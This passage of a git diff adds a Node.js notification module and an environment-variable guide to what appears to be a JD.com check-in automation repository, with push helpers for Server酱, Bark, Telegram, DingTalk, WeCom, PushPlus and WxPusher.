console.log(err); + } else { + data = JSON.parse(data); + if (data.retcode === 0) { + console.log('go-cqhttp发送通知消息成功🎉\n'); + } else if (data.retcode === 100) { + console.log(`go-cqhttp发送通知消息异常: ${data.errmsg}\n`); + } else { + console.log(`go-cqhttp发送通知消息异常\n${JSON.stringify(data)}`); + } + } + } catch (e) { + $.logErr(e, resp); + } + finally { + resolve(data); + } + }); + }, time); + } else { + resolve(); + } + }); +} + +function serverNotify(text, desp, time = 2100) { + return new Promise((resolve) => { + if (SCKEY) { + //微信server酱推送通知一个\n不会换行,需要两个\n才能换行,故做此替换 + desp = desp.replace(/[\n\r]/g, '\n\n'); + const options = { + url: SCKEY.includes('SCT') ? `https://sctapi.ftqq.com/${SCKEY}.send` : `https://sc.ftqq.com/${SCKEY}.send`, + body: `text=${text}&desp=${desp}`, + headers: { + 'Content-Type': 'application/x-www-form-urlencoded', + }, + timeout, + }; + setTimeout(() => { + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log('发送通知调用API失败!!\n'); + console.log(err); + } else { + data = JSON.parse(data); + //server酱和Server酱·Turbo版的返回json格式不太一样 + if (data.errno === 0 || data.data.errno === 0) { + console.log('server酱发送通知消息成功🎉\n'); + } else if (data.errno === 1024) { + // 一分钟内发送相同的内容会触发 + console.log(`server酱发送通知消息异常: ${data.errmsg}\n`); + } else { + console.log(`server酱发送通知消息异常\n${JSON.stringify(data)}`); + } + } + } catch (e) { + $.logErr(e, resp); + } + finally { + resolve(data); + } + }); + }, time); + } else { + resolve(); + } + }); +} + +function BarkNotify(text, desp, params = {}) { + return new Promise((resolve) => { + if (BARK_PUSH) { + const options = { + url: `${BARK_PUSH}/${encodeURIComponent(text)}/${encodeURIComponent( + desp + )}?sound=${BARK_SOUND}&group=${BARK_GROUP}&${querystring.stringify(params)}`, + headers: { + 'Content-Type': 'application/x-www-form-urlencoded', + }, + timeout, + }; + $.get(options, (err, resp, data) => { + try { + if (err) { + console.log('Bark APP发送通知调用API失败!!\n'); + console.log(err); + } else { + data = JSON.parse(data); + if (data.code === 200) { + console.log('Bark APP发送通知消息成功🎉\n'); + } else { + console.log(`${data.message}\n`); + } + } + } catch (e) { + $.logErr(e, resp); + } + finally { + resolve(); + } + }); + } else { + resolve(); + } + }); +} + +function tgBotNotify(text, desp) { + return new Promise((resolve) => { + if (TG_BOT_TOKEN && TG_USER_ID) { + const options = { + url: `https://${TG_API_HOST}/bot${TG_BOT_TOKEN}/sendMessage`, + body: `chat_id=${TG_USER_ID}&text=${text}\n\n${desp}&disable_web_page_preview=true`, + headers: { + 'Content-Type': 'application/x-www-form-urlencoded', + }, + timeout, + }; + if (TG_PROXY_HOST && TG_PROXY_PORT) { + const tunnel = require('tunnel'); + const agent = { + https: tunnel.httpsOverHttp({ + proxy: { + host: TG_PROXY_HOST, + port: TG_PROXY_PORT * 1, + proxyAuth: TG_PROXY_AUTH, + }, + }), + }; + Object.assign(options, { + agent + }); + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log('telegram发送通知消息失败!!\n'); + console.log(err); + } else { + data = JSON.parse(data); + if (data.ok) { + console.log('Telegram发送通知消息成功🎉。\n'); + } else if (data.error_code === 400) { + console.log('请主动给bot发送一条消息并检查接收用户ID是否正确。\n'); + } else if (data.error_code === 401) { + console.log('Telegram bot token 填写错误。\n'); + } + } + } catch (e) { + $.logErr(e, resp); + } + finally { + resolve(data); + } + }); + } else { + resolve(); + } + }); +} + +function ddBotNotify(text, desp) { + return new Promise((resolve) => { + const options = { + url: `https://oapi.dingtalk.com/robot/send?access_token=${DD_BOT_TOKEN}`, + json: { + msgtype: 'text', + text: { + content: ` ${text}\n\n${desp}`, + }, + }, + headers: { + 'Content-Type': 'application/json', + }, + timeout, + }; + if (DD_BOT_TOKEN && DD_BOT_SECRET) { + const crypto = require('crypto'); + const dateNow = Date.now(); + const hmac = crypto.createHmac('sha256', DD_BOT_SECRET); + hmac.update(`${dateNow}\n${DD_BOT_SECRET}`); + const result = encodeURIComponent(hmac.digest('base64')); + options.url = `${options.url}×tamp=${dateNow}&sign=${result}`; + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log('钉钉发送通知消息失败!!\n'); + console.log(err); + } else { + data = JSON.parse(data); + if (data.errcode === 0) { + console.log('钉钉发送通知消息成功🎉。\n'); + } else { + console.log(`${data.errmsg}\n`); + } + } + } catch (e) { + $.logErr(e, resp); + } + finally { + resolve(data); + } + }); + } else if (DD_BOT_TOKEN) { + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log('钉钉发送通知消息失败!!\n'); + console.log(err); + } else { + data = JSON.parse(data); + if (data.errcode === 0) { + console.log('钉钉发送通知消息完成。\n'); + } else { + console.log(`${data.errmsg}\n`); + } + } + } catch (e) { + $.logErr(e, resp); + } + finally { + resolve(data); + } + }); + } else { + resolve(); + } + }); +} + +function qywxBotNotify(text, desp) { + return new Promise((resolve) => { + const options = { + url: `https://qyapi.weixin.qq.com/cgi-bin/webhook/send?key=${QYWX_KEY}`, + json: { + msgtype: 'text', + text: { + content: ` ${text}\n\n${desp}`, + }, + }, + headers: { + 'Content-Type': 'application/json', + }, + timeout, + }; + if (QYWX_KEY) { + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log('企业微信发送通知消息失败!!\n'); + console.log(err); + } else { + data = JSON.parse(data); + if (data.errcode === 0) { + console.log('企业微信发送通知消息成功🎉。\n'); + } else { + console.log(`${data.errmsg}\n`); + } + } + } catch (e) { + $.logErr(e, resp); + } + finally { + resolve(data); + } + }); + } else { + resolve(); + } + }); +} + +function ChangeUserId(desp) { + const QYWX_AM_AY = QYWX_AM.split(','); + if (QYWX_AM_AY[2]) { + const userIdTmp = QYWX_AM_AY[2].split('|'); + let userId = ''; + for (let i = 0; i < userIdTmp.length; i++) { + const count = '账号' + (i + 1); + const count2 = '签到号 ' + (i + 1); + if (desp.match(count2)) { + userId = userIdTmp[i]; + } + } + if (!userId) + userId = QYWX_AM_AY[2]; + return userId; + } else { + return '@all'; + } +} + +function qywxamNotify(text, desp) { + return new Promise((resolve) => { + if (QYWX_AM) { + const QYWX_AM_AY = QYWX_AM.split(','); + const options_accesstoken = { + url: `https://qyapi.weixin.qq.com/cgi-bin/gettoken`, + json: { + corpid: `${QYWX_AM_AY[0]}`, + corpsecret: `${QYWX_AM_AY[1]}`, + }, + headers: { + 'Content-Type': 'application/json', + }, + timeout, + }; + $.post(options_accesstoken, (err, resp, data) => { + html = desp.replace(/\n/g, '
'); + var json = JSON.parse(data); + accesstoken = json.access_token; + let options; + + switch (QYWX_AM_AY[4]) { + case '0': + options = { + msgtype: 'textcard', + textcard: { + title: `${text}`, + description: `${desp}`, + url: 'https://github.com/whyour/qinglong', + btntxt: '更多', + }, + }; + break; + + case '1': + options = { + msgtype: 'text', + text: { + content: `${text}\n\n${desp}`, + }, + }; + break; + + default: + options = { + msgtype: 'mpnews', + mpnews: { + articles: [{ + title: `${text}`, + thumb_media_id: `${QYWX_AM_AY[4]}`, + author: `智能助手`, + content_source_url: ``, + content: `${html}`, + digest: `${desp}`, + }, ], + }, + }; + } + if (!QYWX_AM_AY[4]) { + //如不提供第四个参数,则默认进行文本消息类型推送 + options = { + msgtype: 'text', + text: { + content: `${text}\n\n${desp}`, + }, + }; + } + options = { + url: `https://qyapi.weixin.qq.com/cgi-bin/message/send?access_token=${accesstoken}`, + json: { + touser: `${ChangeUserId(desp)}`, + agentid: `${QYWX_AM_AY[3]}`, + safe: '0', + ...options, + }, + headers: { + 'Content-Type': 'application/json', + }, + }; + + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log('成员ID:' + ChangeUserId(desp) + '企业微信应用消息发送通知消息失败!!\n'); + console.log(err); + } else { + data = JSON.parse(data); + if (data.errcode === 0) { + console.log('成员ID:' + ChangeUserId(desp) + '企业微信应用消息发送通知消息成功🎉。\n'); + } else { + console.log(`${data.errmsg}\n`); + } + } + } catch (e) { + $.logErr(e, resp); + } + finally { + resolve(data); + } + }); + }); + } else { + resolve(); + } + }); +} + +function iGotNotify(text, desp, params = {}) { + return new Promise((resolve) => { + if (IGOT_PUSH_KEY) { + // 校验传入的IGOT_PUSH_KEY是否有效 + const IGOT_PUSH_KEY_REGX = new RegExp('^[a-zA-Z0-9]{24}$'); + if (!IGOT_PUSH_KEY_REGX.test(IGOT_PUSH_KEY)) { + console.log('您所提供的IGOT_PUSH_KEY无效\n'); + resolve(); + return; + } + const options = { + url: `https://push.hellyw.com/${IGOT_PUSH_KEY.toLowerCase()}`, + body: `title=${text}&content=${desp}&${querystring.stringify(params)}`, + headers: { + 'Content-Type': 'application/x-www-form-urlencoded', + }, + timeout, + }; + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log('发送通知调用API失败!!\n'); + console.log(err); + } else { + if (typeof data === 'string') + data = JSON.parse(data); + if (data.ret === 0) { + console.log('iGot发送通知消息成功🎉\n'); + } else { + console.log(`iGot发送通知消息失败:${data.errMsg}\n`); + } + } + } catch (e) { + $.logErr(e, resp); + } + finally { + resolve(data); + } + }); + } else { + resolve(); + } + }); +} +function pushPlusNotifyhxtrip(text, desp) { + return new Promise((resolve) => { + if (PUSH_PLUS_TOKEN_hxtrip) { + desp = desp.replace(/[\n\r]/g, '
'); // 默认为html, 不支持plaintext + const body = { + token: `${PUSH_PLUS_TOKEN_hxtrip}`, + title: `${text}`, + content: `${desp}`, + topic: `${PUSH_PLUS_USER_hxtrip}`, + }; + const options = { + url: `http://pushplus.hxtrip.com/send`, + body: JSON.stringify(body), + headers: { + 'Content-Type': ' application/json', + }, + timeout, + }; + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`hxtrip push+发送${PUSH_PLUS_USER_hxtrip ? '一对多' : '一对一'}通知消息失败!!\n`); + PushErrorTime += 1; + console.log(err); + } else { + if (data.indexOf("200") > -1) { + console.log(`hxtrip push+发送${PUSH_PLUS_USER_hxtrip ? '一对多' : '一对一'}通知消息完成。\n`); + PushErrorTime = 0; + } else { + console.log(`hxtrip push+发送${PUSH_PLUS_USER_hxtrip ? '一对多' : '一对一'}通知消息失败:${data}\n`); + PushErrorTime += 1; + } + } + } catch (e) { + $.logErr(e, resp); + } + finally { + resolve(data); + } + }); + } else { + resolve(); + } + }); +} + +function pushPlusNotify(text, desp) { + return new Promise((resolve) => { + if (PUSH_PLUS_TOKEN) { + desp = desp.replace(/[\n\r]/g, '
'); // 默认为html, 不支持plaintext + const body = { + token: `${PUSH_PLUS_TOKEN}`, + title: `${text}`, + content: `${desp}`, + topic: `${PUSH_PLUS_USER}`, + }; + const options = { + url: `https://www.pushplus.plus/send`, + body: JSON.stringify(body), + headers: { + 'Content-Type': ' application/json', + }, + timeout, + }; + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`push+发送${PUSH_PLUS_USER ? '一对多' : '一对一'}通知消息失败!!\n`); + PushErrorTime += 1; + console.log(err); + } else { + data = JSON.parse(data); + if (data.code === 200) { + console.log(`push+发送${PUSH_PLUS_USER ? '一对多' : '一对一'}通知消息完成。\n`); + PushErrorTime = 0; + } else { + console.log(`push+发送${PUSH_PLUS_USER ? '一对多' : '一对一'}通知消息失败:${data.msg}\n`); + PushErrorTime += 1; + } + } + } catch (e) { + $.logErr(e, resp); + } + finally { + resolve(data); + } + }); + } else { + resolve(); + } + }); +} +function wxpusherNotifyByOne(text, desp) { + return new Promise((resolve) => { + if (WP_APP_TOKEN_ONE) { + var WPURL = ""; + let uids = []; + for (let i of WP_UIDS_ONE.split(";")) { + if (i.length != 0) + uids.push(i); + }; + let topicIds = []; + const body = { + appToken: `${WP_APP_TOKEN_ONE}`, + content: `${text}\n\n${desp}`, + summary: `${text}`, + contentType: 1, + topicIds: topicIds, + uids: uids, + url: `${WPURL}`, + }; + const options = { + url: `http://wxpusher.zjiecode.com/api/send/message`, + body: JSON.stringify(body), + headers: { + "Content-Type": "application/json", + }, + timeout, + }; + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log("WxPusher 发送通知调用 API 失败!!\n"); + console.log(err); + } else { + data = JSON.parse(data); + if (data.code === 1000) { + console.log("WxPusher 发送通知消息成功!\n"); + } + } + } catch (e) { + $.logErr(e, resp); + } + finally { + resolve(data); + } + }); + } else { + resolve(); + } + }); +} + +function wxpusherNotify(text, desp) { + return new Promise((resolve) => { + if (WP_APP_TOKEN) { + let uids = []; + for (let i of WP_UIDS.split(";")) { + if (i.length != 0) + uids.push(i); + }; + let topicIds = []; + for (let i of WP_TOPICIDS.split(";")) { + if (i.length != 0) + topicIds.push(i); + }; + const body = { + appToken: `${WP_APP_TOKEN}`, + content: `${text}\n\n${desp}`, + summary: `${text}`, + contentType: 1, + topicIds: topicIds, + uids: uids, + url: `${WP_URL}`, + }; + const options = { + url: `http://wxpusher.zjiecode.com/api/send/message`, + body: JSON.stringify(body), + headers: { + "Content-Type": "application/json", + }, + timeout, + }; + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log("WxPusher 发送通知调用 API 失败!!\n"); + console.log(err); + } else { + data = JSON.parse(data); + if (data.code === 1000) { + console.log("WxPusher 发送通知消息成功!\n"); + } + } + } catch (e) { + $.logErr(e, resp); + } + finally { + resolve(data); + } + }); + } else { + resolve(); + } + }); +} + +function GetDateTime(date) { + + var timeString = ""; + + var timeString = date.getFullYear() + "-"; + if ((date.getMonth() + 1) < 10) + timeString += "0" + (date.getMonth() + 1) + "-"; + else + timeString += (date.getMonth() + 1) + "-"; + + if ((date.getDate()) < 10) + timeString += "0" + date.getDate() + " "; + else + timeString += date.getDate() + " "; + + if ((date.getHours()) < 10) + timeString += "0" + date.getHours() + ":"; + else + timeString += date.getHours() + ":"; + + if ((date.getMinutes()) < 10) + timeString += "0" + date.getMinutes() + ":"; + else + timeString += date.getMinutes() + ":"; + + if ((date.getSeconds()) < 10) + timeString += "0" + date.getSeconds(); + else + timeString += date.getSeconds(); + + return timeString; +} + +function GetnickName() { + return new Promise(async resolve => { + const options = { + url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", + headers: { + Host: "me-api.jd.com", + Accept: "*/*", + Connection: "keep-alive", + Cookie: cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-cn", + "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", + "Accept-Encoding": "gzip, deflate, br" + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === "1001") { + return; + } + if (data['retcode'] === "0" && data.data && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + + } else { + $.log('京东服务器返回空数据'); + } + } + } catch (e) { + $.logErr(e) + } + finally { + resolve(); + } + }) + }) +} + +function GetnickName2() { + return new Promise(async(resolve) => { + const options = { + url: `https://wxapp.m.jd.com/kwxhome/myJd/home.json?&useGuideModule=0&bizId=&brandId=&fromType=wxapp×tamp=${Date.now()}`, + headers: { + Cookie: cookie, + 'content-type': `application/x-www-form-urlencoded`, + Connection: `keep-alive`, + 'Accept-Encoding': `gzip,compress,br,deflate`, + Referer: `https://servicewechat.com/wxa5bf5ee667d91626/161/page-frame.html`, + Host: `wxapp.m.jd.com`, + 'User-Agent': `Mozilla/5.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.10(0x18000a2a) NetType/WIFI Language/zh_CN`, + }, + }; + $.post(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err); + } else { + if (data) { + data = JSON.parse(data); + if (!data.user) { + $.isLogin = false; //cookie过期 + return; + } + const userInfo = data.user; + if (userInfo) { + $.nickName = userInfo.petName; + } + } else { + $.log('京东服务器返回空数据'); + } + } + } catch (e) { + $.logErr(e); + } + finally { + resolve(); + } + }); + }); +} + +module.exports = { + sendNotify, + sendNotifybyWxPucher, + BARK_PUSH, +}; + +// prettier-ignore +function Env(t, s) { + return new(class { + constructor(t, s) { + (this.name = t), + (this.data = null), + (this.dataFile = 'box.dat'), + (this.logs = []), + (this.logSeparator = '\n'), + (this.startTime = new Date().getTime()), + Object.assign(this, s), + this.log('', `\ud83d\udd14${this.name}, \u5f00\u59cb!`); + } + isNode() { + return 'undefined' != typeof module && !!module.exports; + } + isQuanX() { + return 'undefined' != typeof $task; + } + isSurge() { + return 'undefined' != typeof $httpClient && 'undefined' == typeof $loon; + } + isLoon() { + return 'undefined' != typeof $loon; + } + getScript(t) { + return new Promise((s) => { + $.get({ + url: t + }, (t, e, i) => s(i)); + }); + } + runScript(t, s) { + return new Promise((e) => { + let i = this.getdata('@chavy_boxjs_userCfgs.httpapi'); + i = i ? i.replace(/\n/g, '').trim() : i; + let o = this.getdata('@chavy_boxjs_userCfgs.httpapi_timeout'); + (o = o ? 1 * o : 20), + (o = s && s.timeout ? s.timeout : o); + const[h, a] = i.split('@'), + r = { + url: `http://${a}/v1/scripting/evaluate`, + body: { + script_text: t, + mock_type: 'cron', + timeout: o + }, + headers: { + 'X-Key': h, + Accept: '*/*' + }, + }; + $.post(r, (t, s, i) => e(i)); + }).catch((t) => this.logErr(t)); + } + loaddata() { + if (!this.isNode()) + return {}; { + (this.fs = this.fs ? this.fs : require('fs')), + (this.path = this.path ? this.path : require('path')); + const t = this.path.resolve(this.dataFile), + s = this.path.resolve(process.cwd(), this.dataFile), + e = this.fs.existsSync(t), + i = !e && this.fs.existsSync(s); + if (!e && !i) + return {}; { + const i = e ? t : s; + try { + return JSON.parse(this.fs.readFileSync(i)); + } catch (t) { + return {}; + } + } + } + } + writedata() { + if (this.isNode()) { + (this.fs = this.fs ? this.fs : require('fs')), + (this.path = this.path ? this.path : require('path')); + const t = this.path.resolve(this.dataFile), + s = this.path.resolve(process.cwd(), this.dataFile), + e = this.fs.existsSync(t), + i = !e && this.fs.existsSync(s), + o = JSON.stringify(this.data); + e ? this.fs.writeFileSync(t, o) : i ? this.fs.writeFileSync(s, o) : this.fs.writeFileSync(t, o); + } + } + lodash_get(t, s, e) { + const i = s.replace(/\[(\d+)\]/g, '.$1').split('.'); + let o = t; + for (const t of i) + if (((o = Object(o)[t]), void 0 === o)) + return e; + return o; + } + lodash_set(t, s, e) { + return Object(t) !== t ? t : (Array.isArray(s) || (s = s.toString().match(/[^.[\]]+/g) || []), (s.slice(0, -1).reduce((t, e, i) => (Object(t[e]) === t[e] ? t[e] : (t[e] = Math.abs(s[i + 1]) >> 0 == +s[i + 1] ? [] : {})), t)[s[s.length - 1]] = e), t); + } + getdata(t) { + let s = this.getval(t); + if (/^@/.test(t)) { + const[, e, i] = /^@(.*?)\.(.*?)$/.exec(t), + o = e ? this.getval(e) : ''; + if (o) + try { + const t = JSON.parse(o); + s = t ? this.lodash_get(t, i, '') : s; + } catch (t) { + s = ''; + } + } + return s; + } + setdata(t, s) { + let e = !1; + if (/^@/.test(s)) { + const[, i, o] = /^@(.*?)\.(.*?)$/.exec(s), + h = this.getval(i), + a = i ? ('null' === h ? null : h || '{}') : '{}'; + try { + const s = JSON.parse(a); + this.lodash_set(s, o, t), + (e = this.setval(JSON.stringify(s), i)); + } catch (s) { + const h = {}; + this.lodash_set(h, o, t), + (e = this.setval(JSON.stringify(h), i)); + } + } else + e = $.setval(t, s); + return e; + } + getval(t) { + return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? ((this.data = this.loaddata()), this.data[t]) : (this.data && this.data[t]) || null; + } + setval(t, s) { + return this.isSurge() || this.isLoon() ? $persistentStore.write(t, s) : this.isQuanX() ? $prefs.setValueForKey(t, s) : this.isNode() ? ((this.data = this.loaddata()), (this.data[s] = t), this.writedata(), !0) : (this.data && this.data[s]) || null; + } + initGotEnv(t) { + (this.got = this.got ? this.got : require('got')), + (this.cktough = this.cktough ? this.cktough : require('tough-cookie')), + (this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar()), + t && ((t.headers = t.headers ? t.headers : {}), void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)); + } + get(t, s = () => {}) { + t.headers && (delete t.headers['Content-Type'], delete t.headers['Content-Length']), + this.isSurge() || this.isLoon() ? $httpClient.get(t, (t, e, i) => { + !t && e && ((e.body = i), (e.statusCode = e.status)), + s(t, e, i); + }) : this.isQuanX() ? $task.fetch(t).then((t) => { + const { + statusCode: e, + statusCode: i, + headers: o, + body: h + } = t; + s(null, { + status: e, + statusCode: i, + headers: o, + body: h + }, h); + }, (t) => s(t)) : this.isNode() && (this.initGotEnv(t), this.got(t).on('redirect', (t, s) => { + try { + const e = t.headers['set-cookie'].map(this.cktough.Cookie.parse).toString(); + this.ckjar.setCookieSync(e, null), + (s.cookieJar = this.ckjar); + } catch (t) { + this.logErr(t); + } + }).then((t) => { + const { + statusCode: e, + statusCode: i, + headers: o, + body: h + } = t; + s(null, { + status: e, + statusCode: i, + headers: o, + body: h + }, h); + }, (t) => s(t))); + } + post(t, s = () => {}) { + if ((t.body && t.headers && !t.headers['Content-Type'] && (t.headers['Content-Type'] = 'application/x-www-form-urlencoded'), delete t.headers['Content-Length'], this.isSurge() || this.isLoon())) + $httpClient.post(t, (t, e, i) => { + !t && e && ((e.body = i), (e.statusCode = e.status)), + s(t, e, i); + }); + else if (this.isQuanX()) + (t.method = 'POST'), $task.fetch(t).then((t) => { + const { + statusCode: e, + statusCode: i, + headers: o, + body: h + } = t; + s(null, { + status: e, + statusCode: i, + headers: o, + body: h + }, h); + }, (t) => s(t)); + else if (this.isNode()) { + this.initGotEnv(t); + const { + url: e, + ...i + } = t; + this.got.post(e, i).then((t) => { + const { + statusCode: e, + statusCode: i, + headers: o, + body: h + } = t; + s(null, { + status: e, + statusCode: i, + headers: o, + body: h + }, h); + }, (t) => s(t)); + } + } + time(t) { + let s = { + 'M+': new Date().getMonth() + 1, + 'd+': new Date().getDate(), + 'H+': new Date().getHours(), + 'm+': new Date().getMinutes(), + 's+': new Date().getSeconds(), + 'q+': Math.floor((new Date().getMonth() + 3) / 3), + S: new Date().getMilliseconds(), + }; + /(y+)/.test(t) && (t = t.replace(RegExp.$1, (new Date().getFullYear() + '').substr(4 - RegExp.$1.length))); + for (let e in s) + new RegExp('(' + e + ')').test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? s[e] : ('00' + s[e]).substr(('' + s[e]).length))); + return t; + } + msg(s = t, e = '', i = '', o) { + const h = (t) => !t || (!this.isLoon() && this.isSurge()) ? t : 'string' == typeof t ? this.isLoon() ? t : this.isQuanX() ? { + 'open-url': t + } + : void 0 : 'object' == typeof t && (t['open-url'] || t['media-url']) ? this.isLoon() ? t['open-url'] : this.isQuanX() ? t : void 0 : void 0; + $.isMute || (this.isSurge() || this.isLoon() ? $notification.post(s, e, i, h(o)) : this.isQuanX() && $notify(s, e, i, h(o))), + this.logs.push('', '==============\ud83d\udce3\u7cfb\u7edf\u901a\u77e5\ud83d\udce3=============='), + this.logs.push(s), + e && this.logs.push(e), + i && this.logs.push(i); + } + log(...t) { + t.length > 0 ? (this.logs = [...this.logs, ...t]) : console.log(this.logs.join(this.logSeparator)); + } + logErr(t, s) { + const e = !this.isSurge() && !this.isQuanX() && !this.isLoon(); + e ? $.log('', `\u2757\ufe0f${this.name}, \u9519\u8bef!`, t.stack) : $.log('', `\u2757\ufe0f${this.name}, \u9519\u8bef!`, t); + } + wait(t) { + return new Promise((s) => setTimeout(s, t)); + } + done(t = {}) { + const s = new Date().getTime(), + e = (s - this.startTime) / 1e3; + this.log('', `\ud83d\udd14${this.name}, \u7ed3\u675f! \ud83d\udd5b ${e} \u79d2`), + this.log(), + (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t); + } + })(t, s); +} diff --git a/githubAction.md b/githubAction.md new file mode 100644 index 0000000..54199ec --- /dev/null +++ b/githubAction.md @@ -0,0 +1,135 @@ +## 环境变量说明 + +##### 京东(必须) + +| Name | 归属 | 属性 | 说明 | +| :---------: | :--: | ---- | ------------------------------------------------------------ | +| `JD_COOKIE` | 京东 | 必须 | 京东cookie,多个账号的cookie使用`&`隔开,例:`pt_key=XXX;pt_pin=XXX;&pt_key=XXX;pt_pin=XXX;&pt_key=XXX;pt_pin=XXX;`。具体获取参考[浏览器获取京东cookie教程](./backUp/GetJdCookie.md) 或者 [插件获取京东cookie教程](./backUp/GetJdCookie2.md) | + +##### 京东隐私安全 环境变量 + +| Name | 归属 | 属性 | 默认值 | 说明 | +| :-------------: | :---------: | :----: | :----: | ------------------------------------------------------------ | +| `JD_DEBUG` | 脚本打印log | 非必须 | true | 运行脚本时,是否显示log,默认显示。改成false表示不显示,注重隐私的人可以设置 JD_DEBUG 为false | +| `JD_USER_AGENT` | 京东 | 非必须 | | 自定义此库里京东系列脚本的UserAgent,不懂不知不会UserAgent的请不要随意填写内容。如需使用此功能建议填写京东APP的UA | + +##### 推送通知环境变量(目前提供`微信server酱`、`pushplus(推送加)`、`iOS Bark APP`、`telegram机器人`、`钉钉机器人`、`企业微信机器人`、`iGot`、`企业微信应用消息`等通知方式) + +| Name | 归属 | 属性 | 说明 | +| :---------------: | :----------------------------------------------------------: | :----: | ------------------------------------------------------------ | +| `PUSH_KEY` | 微信server酱推送 | 非必须 | server酱的微信通知[官方文档](http://sc.ftqq.com/3.version),已兼容 [Server酱·Turbo版](https://sct.ftqq.com/) | +| `BARK_PUSH` | [BARK推送](https://apps.apple.com/us/app/bark-customed-notifications/id1403753865) | 非必须 | IOS用户下载BARK这个APP,填写内容是app提供的`设备码`,例如:https://api.day.app/123 ,那么此处的设备码就是`123`,再不懂看 [这个图](icon/bark.jpg)(注:支持自建填完整链接即可) | +| `BARK_SOUND` | [BARK推送](https://apps.apple.com/us/app/bark-customed-notifications/id1403753865) | 非必须 | bark推送声音设置,例如`choo`,具体值请在`bark`-`推送铃声`-`查看所有铃声` | +| `TG_BOT_TOKEN` | telegram推送 | 非必须 | tg推送(需设备可连接外网),`TG_BOT_TOKEN`和`TG_USER_ID`两者必需,填写自己申请[@BotFather](https://t.me/BotFather)的Token,如`10xxx4:AAFcqxxxxgER5uw` , [具体教程](./backUp/TG_PUSH.md) | +| `TG_USER_ID` | telegram推送 | 非必须 | tg推送(需设备可连接外网),`TG_BOT_TOKEN`和`TG_USER_ID`两者必需,填写[@getuseridbot](https://t.me/getuseridbot)中获取到的纯数字ID, [具体教程](./backUp/TG_PUSH.md) | +| `DD_BOT_TOKEN` | 钉钉推送 | 非必须 | 钉钉推送(`DD_BOT_TOKEN`和`DD_BOT_SECRET`两者必需)[官方文档](https://developers.dingtalk.com/document/app/custom-robot-access) ,只需`https://oapi.dingtalk.com/robot/send?access_token=XXX` 等于`=`符号后面的XXX即可 | +| `DD_BOT_SECRET` | 钉钉推送 | 非必须 | (`DD_BOT_TOKEN`和`DD_BOT_SECRET`两者必需) ,密钥,机器人安全设置页面,加签一栏下面显示的SEC开头的`SECXXXXXXXXXX`等字符 , 注:钉钉机器人安全设置只需勾选`加签`即可,其他选项不要勾选,再不懂看 [这个图](icon/DD_bot.png) | +| `QYWX_KEY` | 企业微信机器人推送 | 非必须 | 密钥,企业微信推送 webhook 后面的 key [详见官方说明文档](https://work.weixin.qq.com/api/doc/90000/90136/91770) | +| `QYWX_AM` | 企业微信应用消息推送 | 非必须 | corpid,corpsecret,touser,agentid,素材库图片id [参考文档1](http://note.youdao.com/s/HMiudGkb) [参考文档2](http://note.youdao.com/noteshare?id=1a0c8aff284ad28cbd011b29b3ad0191)
素材库图片填0为图文消息, 填1为纯文本消息 | +| `IGOT_PUSH_KEY` | iGot推送 | 非必须 | iGot聚合推送,支持多方式推送,确保消息可达。 [参考文档](https://wahao.github.io/Bark-MP-helper ) | +| `PUSH_PLUS_TOKEN` | pushplus推送 | 非必须 | 微信扫码登录后一对一推送或一对多推送下面的token(您的Token) [官方网站](http://www.pushplus.plus/) | +| `PUSH_PLUS_USER` | pushplus推送 | 非必须 | 一对多推送的“群组编码”(一对多推送下面->您的群组(如无则新建)->群组编码)注:(1、需订阅者扫描二维码 2、如果您是创建群组所属人,也需点击“查看二维码”扫描绑定,否则不能接受群组消息推送),只填`PUSH_PLUS_TOKEN`默认为一对一推送 | +| `TG_PROXY_HOST` | Telegram 代理的 IP | 非必须 | 代理类型为 http。例子:http代理 http://127.0.0.1:1080 则填写 127.0.0.1 | +| `TG_PROXY_PORT` | Telegram 代理的端口 | 非必须 | 例子:http代理 http://127.0.0.1:1080 则填写 1080 | +| `TG_PROXY_AUTH` | Telegram 代理的认证参数 | 非必须 | 代理的认证参数 | +| `TG_API_HOST` | Telegram api自建的反向代理地址 | 非必须 | 例子:反向代理地址 http://aaa.bbb.ccc 则填写 aaa.bbb.ccc [简略搭建教程](https://shimo.im/docs/JD38CJDQtYy3yTd8/read) | + + +##### 互助码类环境变量 + +| Name | 归属 | 属性 | 需要助力次数/可提供助力次数 | 说明 | +| :-------------------------: | :----------------: | :----: | :-----------------------: | ------------------------------------------------------------ | +| `FRUITSHARECODES` | 东东农场
互助码 | 非必须 | 5/3 | 填写规则请看[jdFruitShareCodes.js](./jdFruitShareCodes.js)或见下方[互助码的填写规则](#互助码的填写规则) | +| `PETSHARECODES` | 东东萌宠
